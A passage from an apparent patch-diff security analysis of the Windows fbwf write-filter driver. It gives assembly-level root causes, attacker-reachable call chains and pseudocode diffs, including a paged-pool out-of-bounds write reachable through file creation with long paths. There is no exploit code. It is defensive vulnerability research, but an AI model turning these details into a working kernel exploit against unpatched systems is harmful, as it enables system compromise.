&lt;li&gt;Process calls &lt;code&gt;FilterSendMessage&lt;/code&gt; with IOCTL &lt;code&gt;0xFB2F0001&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FltMgr&lt;/code&gt; forwards the message to &lt;code&gt;FbwfPortMessage&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The handler extracts &lt;code&gt;count&lt;/code&gt;, rejects non-positive values, and multiplies it by the volume block size under the overflow check.&lt;/li&gt;
&lt;li&gt;On overflow the request returns &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt;; otherwise the product updates the scratch-space accounting total.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 3: &lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt; String-Length Refactor (No Security-Relevant Change)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; N/A (source-level refactor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt; (Unpatched: &lt;code&gt;0x1C000EA7C&lt;/code&gt; / Patched: &lt;code&gt;0x14000DD6C&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched code computes the length of the volume-name string with an inlined &lt;code&gt;wcslen&lt;/code&gt;-style loop (&lt;code&gt;inc r9; cmp [rbx+r9*2], r15w; jnz&lt;/code&gt; @ &lt;code&gt;0x1C000EAB7&lt;/code&gt;). The patched code replaces that loop with a call to &lt;code&gt;RtlInitUnicodeString&lt;/code&gt; (@ &lt;code&gt;0x14000DDB5&lt;/code&gt;). &lt;code&gt;RtlInitUnicodeString&lt;/code&gt; computes &lt;code&gt;Length&lt;/code&gt; by scanning for the terminating null wide character with no upper bound — it performs the exact same unbounded scan the manual loop did and adds no bounds checking. After computing the length, both builds apply the identical validation &lt;code&gt;Length + 2 &amp;lt;= 0x80&lt;/code&gt; (unpatched &lt;code&gt;add rsi, 2; cmp rsi, 0x80&lt;/code&gt; @ &lt;code&gt;0x1C000EAD1&lt;/code&gt;; patched &lt;code&gt;lea rcx, [rdx+2]; cmp rcx, 0x80&lt;/code&gt; @ &lt;code&gt;0x14000DDCF&lt;/code&gt;) and take the same subsequent code path (&lt;code&gt;FltGetVolumeFromName&lt;/code&gt;, the drive-letter check, &lt;code&gt;memmove&lt;/code&gt;). There is no behavioral difference between the two builds; this is a source-level refactor (inlined loop replaced by a library call), not a fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; &lt;code&gt;FilterSendMessage&lt;/code&gt; -&amp;gt; &lt;code&gt;FltMgr&lt;/code&gt; -&amp;gt; &lt;code&gt;FbwfPortMessage&lt;/code&gt; -&amp;gt; &lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 4: &lt;code&gt;FbwfWrite&lt;/code&gt; Byte-Offset Handling (No Security-Relevant Change)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; N/A (structural refactor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;FbwfWrite&lt;/code&gt; (Unpatched: &lt;code&gt;0x1C0005990&lt;/code&gt; / Patched: &lt;code&gt;0x14000B480&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; Both builds handle the two sentinel byte-offset values identically: &lt;code&gt;FILE_USE_FILE_POINTER_POSITION&lt;/code&gt; (&lt;code&gt;QuadPart == -2&lt;/code&gt;) substitutes the file object's &lt;code&gt;CurrentByteOffset&lt;/code&gt;, and &lt;code&gt;FILE_WRITE_TO_END_OF_FILE&lt;/code&gt; (&lt;code&gt;HighPart == -1 &amp;amp;&amp;amp; LowPart == -1&lt;/code&gt;) substitutes the end-of-file offset. Both builds also perform the same wrap guard on the resulting write range (&lt;code&gt;length + offset &amp;lt; length&lt;/code&gt; rejects with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;). The patched code restructures these checks (flattening the nested &lt;code&gt;HighPart == -1&lt;/code&gt; test into a direct &lt;code&gt;QuadPart == -2&lt;/code&gt; comparison) but adds no new offset validation. This is a refactor with no security-relevant behavioral difference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; &lt;code&gt;NtWriteFile&lt;/code&gt; / &lt;code&gt;WriteFile&lt;/code&gt; -&amp;gt; IO Manager -&amp;gt; &lt;code&gt;FltMgr&lt;/code&gt; -&amp;gt; &lt;code&gt;FbwfWrite&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 5: Pool Out-of-Bounds Write in &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-Bounds Write / Incorrect Buffer Size Calculation (CWE-787, root cause CWE-131)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; (the &lt;code&gt;(_FbwfDirNameEntry*, wchar_t const*, _FbwfVolumeEntry*, ulong)&lt;/code&gt; overload) (Unpatched: &lt;code&gt;0x1C00112D0&lt;/code&gt; / Patched: &lt;code&gt;0x140013E0C&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In the directory-entry insertion path, the unpatched function allocates a fixed &lt;code&gt;0xFFFE&lt;/code&gt; (65534) byte paged-pool buffer (&lt;code&gt;mov r12d, 0FFFEh&lt;/code&gt; @ &lt;code&gt;0x1C00114B6&lt;/code&gt;; &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; @ &lt;code&gt;0x1C00114C4&lt;/code&gt;) and fills it with the current directory path via &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt; bounded to &lt;code&gt;0xFFFE&lt;/code&gt; (&lt;code&gt;mov r8d, r12d&lt;/code&gt; @ &lt;code&gt;0x1C00114F1&lt;/code&gt;; &lt;code&gt;call FbwfGetCurrentPath&lt;/code&gt; @ &lt;code&gt;0x1C00114FA&lt;/code&gt;). It sets &lt;code&gt;r14&lt;/code&gt; to the end of the path inside that buffer (&lt;code&gt;lea r14, [rdi+rax*2]&lt;/code&gt; @ &lt;code&gt;0x1C001151C&lt;/code&gt;) and then &lt;code&gt;memmove&lt;/code&gt;s the directory-entry name (the copy held in &lt;code&gt;[rbx+8]&lt;/code&gt;, size = &lt;code&gt;name_len + 2&lt;/code&gt; from &lt;code&gt;[rsp+Size]&lt;/code&gt;) to &lt;code&gt;buffer + path_offset&lt;/code&gt; (&lt;code&gt;call memmove&lt;/code&gt; @ &lt;code&gt;0x1C001152C&lt;/code&gt;) with no check that &lt;code&gt;path_len + name_len + 2 &amp;lt;= 0xFFFE&lt;/code&gt;. When a write-through/short-name entry is present (&lt;code&gt;[rbx+10h]&lt;/code&gt; non-NULL), it measures that name's length (&lt;code&gt;inc rsi; cmp [rdx+rsi*2], cx; jnz&lt;/code&gt; @ &lt;code&gt;0x1C0011561&lt;/code&gt;) and &lt;code&gt;memmove&lt;/code&gt;s it at the same path offset &lt;code&gt;r14&lt;/code&gt; (&lt;code&gt;lea r8d, [rsi+rsi]&lt;/code&gt; @ &lt;code&gt;0x1C001156A&lt;/code&gt;; &lt;code&gt;add r8, 2&lt;/code&gt;; &lt;code&gt;call memmove&lt;/code&gt; @ &lt;code&gt;0x1C001157A&lt;/code&gt;), again with no bounds check. Because the buffer was sized to hold only the path, a directory whose path fills the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer leaves the appended entry-name/write-through-name bytes past the end of the allocation, corrupting adjacent paged pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; File/directory create on an &lt;code&gt;fbwf&lt;/code&gt;-protected volume reaching the minifilter pre-create callback &lt;code&gt;FbwfPreCreate&lt;/code&gt;, which calls &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; (the same overload is also reached from &lt;code&gt;FbwfRestoreDeletedFile&lt;/code&gt;). The appended name (&lt;code&gt;arg2&lt;/code&gt;) is the created entry's name, so its length is attacker-influenced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A file/directory create on an &lt;code&gt;fbwf&lt;/code&gt;-protected volume reaches &lt;code&gt;FbwfPreCreate&lt;/code&gt;, which calls &lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; to insert the new entry (also reached from &lt;code&gt;FbwfRestoreDeletedFile&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AddDirEntry&lt;/code&gt; allocates the fixed &lt;code&gt;0xFFFE&lt;/code&gt; buffer and fills it with the current directory path via &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It appends the directory-entry name (and, when present, the write-through/short-name entry) at the running path offset with no bounds check.&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;path_len&lt;/code&gt; fills the &lt;code&gt;0xFFFE&lt;/code&gt; buffer, the appended name bytes overflow the paged-pool allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; The patched function pre-measures the exact required size before allocating. It calls &lt;code&gt;FbwfGetCurrentPath&lt;/code&gt; in measure mode (&lt;code&gt;xor r8d, r8d&lt;/code&gt;; &lt;code&gt;lea r9, [rsp+var_58]&lt;/code&gt;; &lt;code&gt;call FbwfGetCurrentPath&lt;/code&gt; @ &lt;code&gt;0x140014046&lt;/code&gt;/&lt;code&gt;0x140014056&lt;/code&gt;), adds &lt;code&gt;4&lt;/code&gt; (&lt;code&gt;add edx, 4&lt;/code&gt; @ &lt;code&gt;0x14001405F&lt;/code&gt;), takes the maximum of the directory-entry name length and the write-through/short-name length (&lt;code&gt;cmp r15, rax&lt;/code&gt;; &lt;code&gt;ja&lt;/code&gt; @ &lt;code&gt;0x140014088&lt;/code&gt;/&lt;code&gt;0x14001408B&lt;/code&gt;, recomputed at &lt;code&gt;0x14001409F&lt;/code&gt;/&lt;code&gt;0x1400140A5&lt;/code&gt;), folds it in (&lt;code&gt;add r15d, edx&lt;/code&gt; @ &lt;code&gt;0x1400140A8&lt;/code&gt;), and allocates exactly that many bytes with &lt;code&gt;ExAllocatePool2&lt;/code&gt; (&lt;code&gt;mov ecx, 102h&lt;/code&gt;; &lt;code&gt;call ExAllocatePool2&lt;/code&gt; @ &lt;code&gt;0x1400140BC&lt;/code&gt;/&lt;code&gt;0x1400140C1&lt;/code&gt;) before performing the identical copies (&lt;code&gt;memmove&lt;/code&gt; @ &lt;code&gt;0x140014133&lt;/code&gt; and &lt;code&gt;0x140014199&lt;/code&gt;). The appended names can no longer exceed the buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;FbwfGenerateFileName&lt;/code&gt; (option-byte 1/2 path, stream branch)&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Focus: fixed-size allocation with an unaccounted stream-name append vs. exact pre-measured sizing.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (0x1C0001CB0)&lt;/span&gt;
&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// fixed size&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// volume name&lt;/span&gt;
&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// bounded to remaining&lt;/span&gt;
&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// NO check off+2 &amp;lt;= 0xFFFE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;stream_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wcslen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// NO check off+stream_len &amp;lt;= 0xFFFE&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// volume+path fill the fixed buffer, so the colon + stream write past it.&lt;/span&gt;


&lt;span class="c1"&gt;// PATCHED (FbwfGenerateFileName @ 0x140002A80)&lt;/span&gt;
&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// measure only&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// account for colon + stream&lt;/span&gt;
&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// exact size&lt;/span&gt;
&lt;span class="c1"&gt;// ... then copy volume, path, &amp;#39;:&amp;#39; and stream into a buffer that fits.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;FbwfPortMessage&lt;/code&gt; (IOCTL 0xFB2F0001 scratch-space handler)&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Focus: overflow-checked multiplication of a user count by the volume block size (patched-only feature).&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (0x1C0009E00)&lt;/span&gt;
&lt;span class="c1"&gt;// No 0xFB2F0001 case exists; no user-count * block_size multiplication&lt;/span&gt;
&lt;span class="c1"&gt;// and no ZwQuerySystemInformation call anywhere in this function.&lt;/span&gt;


&lt;span class="c1"&gt;// PATCHED (FbwfPortMessage @ 0x140003DB0)&lt;/span&gt;
&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;msg_body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// user-supplied count&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// reject non-positive&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7fffffffffffffff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// MAX_VALUE special-cased&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;vol_meta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// mul r15&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* rdx != 0 */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// 128-bit overflow test&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000095&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// product updates cs:TotalBytes cache accounting; it does NOT size an allocation.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

